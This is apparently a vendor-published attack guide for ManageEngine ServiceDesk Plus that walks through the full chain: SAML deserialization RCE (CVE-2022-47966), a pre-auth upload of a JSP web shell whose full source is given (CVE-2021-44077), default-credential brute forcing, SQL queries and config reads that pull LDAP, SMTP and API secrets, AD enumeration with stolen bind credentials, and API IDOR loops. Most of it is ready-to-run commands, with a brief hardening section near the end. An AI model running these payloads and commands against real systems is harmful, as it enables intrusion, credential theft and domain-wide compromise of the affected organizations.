ManageEngine ServiceDesk Plus is used by over 100,000 organizations to manage IT tickets, assets, and infrastructure credentials. CVE-2022-47966 (CVSS 9.8) allows unauthenticated RCE via a crafted SAML response when SSO is enabled. CVE-2021-44077 (CVSS 9.8) achieves pre-authentication RCE through a file upload bypass. Both were exploited by APT groups including those tracked by CISA. The ServiceDesk database also holds credentials for every integrated system — AD, LDAP, SMTP, and monitoring tools. This guide covers the full attack chain.
ManageEngine (a Zoho subsidiary) produces over 60 IT management products, and ServiceDesk Plus is their flagship ITSM platform. It runs on Apache Tomcat, typically on port 8080 (HTTP) or 443 (HTTPS after SSL offloading), and is commonly deployed as an intranet application — but many organizations expose it to the internet for remote worker access.
The platform's privileged position makes it attractive to attackers:
CVE-2022-47966 is an unauthenticated remote code execution vulnerability affecting all ManageEngine products that use Apache Santuario (xmlsec) for SAML SSO processing. When SSO is enabled, an attacker can send a crafted SAML response that triggers Java deserialization in the XML signature validation path, leading to RCE as the service account (typically SYSTEM on Windows).
All ManageEngine products using SAML SSO prior to the January 2023 fixes. Key affected products include ServiceDesk Plus, ServiceDesk Plus MSP, SupportCenter Plus, AssetExplorer, ADManager Plus, ADSelfService Plus, Password Manager Pro, and Endpoint Central (formerly Desktop Central).
# Step 1: Verify SSO is configured
curl -sk https://<me-host>/samlLogin -I | grep -i location
# Redirect to IdP = SSO configured = potentially vulnerable
# Step 2: Identify product and version
curl -sk https://<me-host>/WEB-INF/conf/xmlsec-license.txt
curl -sk https://<me-host>/ServiceDesk/swf/version.txt
# Step 3: Generate malicious SAML payload
# The vulnerability is in xmlsec library signature verification
# Use ysoserial to generate a Java deserialization gadget chain
java -jar ysoserial.jar CommonsBeanutils1 \
"cmd.exe /c whoami > C:\ME_pwn.txt" | base64 -w 0 > payload.b64
# Step 4: Craft SAML response with malicious XML signature
# Insert the base64 payload as a KeyInfo/X509Certificate value
# The xmlsec library deserializes the value during signature validation
python3 cve-2022-47966.py \
--url https://<me-host> \
--payload payload.b64 \
--product "ServiceDeskPlus"
# Nuclei template
nuclei -t cves/2022/CVE-2022-47966.yaml -target https://<me-host>
After exploiting CVE-2022-47966, the attacker typically runs as SYSTEM (Windows) or the ManageEngine service account (Linux). The next steps are:
CVE-2021-44077 affects ManageEngine ServiceDesk Plus versions 11305 and earlier. The vulnerability allows unauthenticated file upload via the technician login endpoint, bypassing authentication checks and enabling JSP web shell deployment.
# The vulnerable endpoint: /RestAPI/ImportTechnicians
# Allows file upload without authentication in affected versions
# Step 1: Confirm version (look for build number in page source or headers)
curl -sk https://<me-host>/ServiceDesk/ | grep -i "build\|version"
# Step 2: Upload JSP web shell
curl -sk -X POST https://<me-host>/RestAPI/ImportTechnicians \
-F "csv_file=@shell.jsp;type=text/html" \
-F "Import=true"
# shell.jsp content:
<%@ page import="java.io.*,java.util.*,java.net.*" %>
<%
String cmd = request.getParameter("cmd");
Runtime rt = Runtime.getRuntime();
String[] commands = {"cmd.exe", "/c", cmd};
Process proc = rt.exec(commands);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) { out.println(s); }
%>
# Step 3: Access the uploaded web shell
curl "https://<me-host>/ServiceDesk/shell.jsp?cmd=whoami"
# Step 4: Also check /fileupload endpoint (alternative vector in older versions)
curl -sk -X POST https://<me-host>/fileupload \
-H "Content-Type: multipart/form-data" \
-F "file=@shell.jsp"
CVE-2021-44077 was specifically called out in NSA/CISA Advisory AA21-336A as being exploited by APT actors for initial access to defense industrial base (DIB) organizations. The advisory noted that attackers used the web shell to establish persistence, harvest credentials, and move laterally to Active Directory.
ManageEngine ServiceDesk Plus ships with default credentials that are frequently left unchanged in production environments. The admin console is at /ServiceDesk/ and is often exposed without IP restrictions.
# Default administrator credentials
# Username: administrator Password: administrator
# Username: guest Password: guest
# Username: admin Password: admin
# Brute force via form POST
hydra -l administrator -P /usr/share/wordlists/rockyou.txt \
https://<me-host> \
http-post-form \
"/j_security_check:j_username=^USER^&j_password=^PASS^&loginButton=Login:Invalid"
# ServiceDesk does implement account lockout after configurable attempts
# Default is 5 attempts — check before brute forcing
# Account enumeration via password reset
curl -sk -X POST https://<me-host>/ServiceDesk/ForgotPassword.do \
-d "userName=administrator" | grep -i "email\|invalid\|found"
# Some versions expose a tech key endpoint that accepts a static key
# as authentication — useful for API integrations
# Default key: <blank> or "manageengine"
curl -sk "https://<me-host>/sdpapi/request?apikey=<tech_key>&format=json&input_data={}"
# If no key is set, some endpoints accept unauthenticated requests:
curl -sk "https://<me-host>/sdpapi/request?format=json&operation=getRequestList"
ManageEngine products store database credentials and integration secrets in plaintext or weakly-obfuscated config files. With file system access (via RCE, or directly if the app server has misconfigured directory listings), these files are the fastest path to infrastructure credentials.
# Primary database config
# C:\Program Files\ManageEngine\ServiceDesk\conf\database_params.conf
type "C:\Program Files\ManageEngine\ServiceDesk\conf\database_params.conf"
# Contains: dbURL, username, password (for embedded DB or external SQL Server/PostgreSQL)
# LDAP / Active Directory integration credentials
# C:\Program Files\ManageEngine\ServiceDesk\conf\mssql.conf
type "C:\Program Files\ManageEngine\ServiceDesk\conf\mssql.conf"
# Mail server (SMTP) credentials
# Stored in the ServiceDesk database AND potentially in config files
# Table: EmailConfiguration
# API integration secrets (Slack, Jira, Confluence, Azure DevOps)
# C:\Program Files\ManageEngine\ServiceDesk\integration\
dir "C:\Program Files\ManageEngine\ServiceDesk\integration\"
# License and company config
# C:\Program Files\ManageEngine\ServiceDesk\conf\Licensefile.conf
# Linux deployment paths
cat /opt/ManageEngine/ServiceDesk/conf/database_params.conf
cat /opt/ManageEngine/ServiceDesk/conf/customer-config.xml
# LDAP integration config
cat /opt/ManageEngine/ServiceDesk/conf/DomainConfig.xml
# Database connection string example (plaintext password)
# url=jdbc:sqlserver://192.168.1.100:1433;databaseName=servicedesk
# username=sdpadmin
# password=SDPadmin@2023!
ManageEngine ServiceDesk Plus uses either an embedded PostgreSQL database or an external MS SQL / PostgreSQL instance. The database contains all user credentials (hashed), every LDAP bind password, SMTP credentials, API tokens, and the full CMDB asset inventory.
# Connect to embedded PostgreSQL (default installation)
# Port: 65432 (embedded) or 5432 (external)
# Database name: servicedesk
psql -h localhost -p 65432 -U sdpadmin -d servicedesk
# Extract all technician credentials
SELECT loginname, password, emailid, first_name, last_name
FROM sduser
WHERE isdeleted = 'false';
# Password hash format varies by version:
# Older: MD5(password) — easily crackable
# Newer: SHA-256 with salt
# Extract LDAP/AD integration credentials (PLAINTEXT)
SELECT domain_name, admin_dn, admin_pwd
FROM domain_detail;
# admin_pwd is stored in base64-encoded AES — can be decrypted with the app key
# Extract SMTP mail server credentials
SELECT server_name, port, user_name, password, auth_required
FROM email_settings;
# All third-party integrations with credentials
SELECT product_name, auth_token, endpoint_url
FROM integration_configurations;
# Asset inventory for lateral movement planning
SELECT resource_name, os_name, ip_address, last_login_user
FROM resources
WHERE resource_type = 'WorkStation' OR resource_type = 'Server'
LIMIT 100;
# ManageEngine encrypts some credentials with AES
# The encryption key is derived from a hardcoded value + installation-specific seed
# Find the key in the application properties
grep -r "encryptionKey\|secretKey\|aesKey" \
"/opt/ManageEngine/ServiceDesk/conf/" 2>/dev/null
# Alternatively, use the ManageEngine bundled decryption utility
# (available once you have code execution on the server)
java -cp "/opt/ManageEngine/ServiceDesk/lib/*" \
com.adventnet.api.util.CryptoUtil decrypt <encrypted_value>
ServiceDesk integrates with Active Directory for authentication and user synchronization. The LDAP bind account credentials are stored in the database and can be extracted to enable AD attacks.
# After extracting LDAP bind credentials from the database:
# domain_name = CORP.INTERNAL
# admin_dn = CN=sdp-bind,CN=Service Accounts,DC=corp,DC=internal
# admin_pwd = <decrypted value>
# Use bind credentials for LDAP enumeration
ldapsearch -x -H ldap://<dc-ip>:389 \
-D "CN=sdp-bind,CN=Service Accounts,DC=corp,DC=internal" \
-w "<bind_password>" \
-b "DC=corp,DC=internal" \
"(objectClass=user)" sAMAccountName userPrincipalName memberOf
# Check if bind account has excessive privileges (it often does for sync to work)
ldapsearch -x -H ldap://<dc-ip>:389 \
-D "CN=sdp-bind,CN=Service Accounts,DC=corp,DC=internal" \
-w "<bind_password>" \
-b "DC=corp,DC=internal" \
"(&(objectClass=group)(cn=Domain Admins))" member
# Test for LDAP injection in the ServiceDesk login form
curl -sk -X POST https://<me-host>/ServiceDesk/j_security_check \
-d "j_username=admin)(|(password=*)&j_password=anything"
ManageEngine ServiceDesk Plus v14+ includes a REST API. The legacy SDPAPI (tech key based) and the new REST API have different authentication mechanisms, both worth testing.
# List all tickets (may work without valid API key in older versions)
curl -sk "https://<me-host>/sdpapi/request?format=json&operation=getRequestList&apikey=<key>"
# Get specific request details including requester info
curl -sk "https://<me-host>/sdpapi/request/<id>?format=json&apikey=<key>"
# Create a ticket as any user (if API key not validated)
curl -sk -X POST "https://<me-host>/sdpapi/request?format=json&apikey=<key>" \
-d 'input_data={"request":{"subject":"Test","requester":{"name":"admin"}}}'
# Obtain access token (OAuth2)
curl -sk -X POST https://<me-host>/oauth/token \
-d "client_id=<id>&client_secret=<secret>&grant_type=client_credentials"
# Enumerate API endpoints (undocumented endpoints exist)
curl -sk https://<me-host>/api/v3/ \
-H "Authorization: Bearer <token>"
# IDOR testing — access other users' tickets
for i in $(seq 1 100); do
curl -sk "https://<me-host>/api/v3/requests/$i" \
-H "Authorization: Bearer <token>" | grep -v "Permission"
done
# Mass data export (if admin role obtained)
curl -sk "https://<me-host>/api/v3/assets?list_info={\"row_count\":5000}" \
-H "Authorization: Bearer <token>" | jq '.assets[] | {name, ip, os}'
ManageEngine's product portfolio shares code and infrastructure — vulnerabilities in one product often affect others. Key additional attack surfaces:
| Product | Key CVEs | Primary Risk |
|---|---|---|
| ADSelfService Plus | CVE-2021-40539 (CVSS 9.8) | Unauthenticated API RCE; used for password resets — holds AD admin credentials |
| ADManager Plus | CVE-2022-47966, CVE-2022-28219 | AD delegation credentials; can reset any AD user password |
| Endpoint Central (Desktop Central) | CVE-2022-47966, CVE-2021-44515 (CVSS 9.8) | Manages all endpoints; RCE leads to mass endpoint compromise |
| Password Manager Pro | CVE-2022-47966 | Enterprise password vault; compromise = all stored credentials |
| OpManager | CVE-2023-6105 (CVSS 7.5) | Network monitoring; stores SNMP community strings, device credentials |
# CVE-2021-40539 — unauthenticated RCE via REST API path traversal
# Affects all versions prior to 6114
# The /RestAPI/LogonCustomization endpoint processes user input unsafely
curl -sk -X POST https://<adss-host>/RestAPI/LogonCustomization \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "methodtoCall=upload&custom_template=<payload>"
# After code execution, ADSelfService Plus holds:
# - All AD user account passwords (for password sync)
# - MFA configurations and backup codes
# - LDAP domain admin bind credentials
# Create a read-only LDAP bind account (not domain admin)
# The bind account needs ONLY:
# - Read access to user/group objects
# - NOT: write permissions, password reset rights, or admin group membership
# Active Directory: Create dedicated bind account
New-ADUser -Name "ME-SDP-Bind" -AccountPassword (ConvertTo-SecureString "StrongPass123!" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true
# Delegate minimum permissions
# Right-click OU in ADUC > Delegate Control > Read all user information only
# Do NOT grant any write permissions
# If using external SQL Server, enforce:
# 1. SQL authentication (not Windows auth with service account)
# 2. Dedicated database user with only servicedesk database access
# 3. SQL Server port (1433) not accessible from workstations — only from ME server
# Restrict embedded PostgreSQL to localhost
# Edit: C:\Program Files\ManageEngine\ServiceDesk\pgsql\data\pg_hba.conf
# Ensure only: host servicedesk sdpadmin 127.0.0.1/32 md5
/RestAPI/ImportTechnicians, /samlLogin with unsigned assertions)ManageEngine, Jira Service Management, and other ITSM platforms hold the keys to your entire IT infrastructure. Continuous scanning catches exposed admin consoles, default credentials, and unpatched CVEs before attackers do.
Start free scanManageEngine ServiceDesk Plus sits at the center of enterprise IT operations and holds credentials for nearly every integrated system. CVE-2022-47966 (SAML RCE, CVSS 9.8) and CVE-2021-44077 (pre-auth file upload RCE, CVSS 9.8) both have public exploits and confirmed active exploitation by nation-state actors. The configuration files and database provide a complete credential map of the infrastructure. Hardening priority: patch immediately, never expose to the internet, apply MFA, and use minimum-privilege AD bind accounts. For pentesters, ManageEngine instances are high-value targets that routinely yield domain admin-equivalent access within a single exploitation chain.